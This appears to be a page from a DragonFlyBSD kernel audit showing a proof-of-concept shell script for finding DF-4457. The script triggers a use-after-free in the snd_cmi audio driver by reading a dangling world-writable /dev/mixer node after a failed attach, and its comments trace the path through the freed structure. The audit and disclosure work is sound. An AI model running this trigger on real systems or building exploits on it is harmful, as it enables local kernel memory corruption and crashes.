โฌข DragonFlyBSD Kernel Audit
DF-4457 / trigger.hw.sh
โ† back to finding โ†“ download raw
#!/bin/sh
# DF-4457 REAL-HARDWARE trigger (NOT runnable on the QEMU audit guest โ€”
# no CMedia CMI8x38 PCI audio card, and this guest's snd_cmi.ko fails its
# midi module dependency on load).  Requires a machine with a CMI8338A/
# CMI8338B/CMI8738/CMI8738B PCI card (pci13f6:0100/0101/0111/0112) AND
# one of:
#   * pcm_veto_load != 0 at attach time (broken feeder-chain boot,
#     sound.c:50,1021) -> pcm_register() returns EINVAL,
#   * device unit > PCMMAXUNIT (255) -> pcm_register() returns ENODEV
#     (sound.c:1027) โ€” e.g. 256 sound devices attached,
# because cmi_attach() has exactly ONE failure path after mixer_init():
# the pcm_register() at cmi.c:989.
# When it fires, mixer_init() (cmi.c:986) has already published a 0666
# /dev/mixerN whose si_drv1 -> snd_mixer m -> m->devinfo = sc, and the
# bad: unwind (cmi.c:1004-1016) kfrees sc (and snd_mtxfrees sc->lock)
# without mixer_uninit().
set -x
kldload snd_cmi
dmesg | tail -20                  # expect: cmi attach error, ENXIO return
ls -l /dev/mixer*                 # the dangling 0666 cdev (unit of failed card)
# UAF โ€” any local user, no privileges needed:
dd if=/dev/mixer0 bs=64 count=1 2>&1 | hexdump -C     # dispatch through freed sc
# or any SNDCTL_MIXER_FOO / MIXER_WRITE ioctl -> cmimix_set() ->
#   mix_getdevinfo(m) == freed sc -> cmi_rd/cmi_wr(sc, ...) via freed
#   sc->st / sc->sh bus_space tag+handle (M_DEVBUF kmalloc'd ~264 bytes)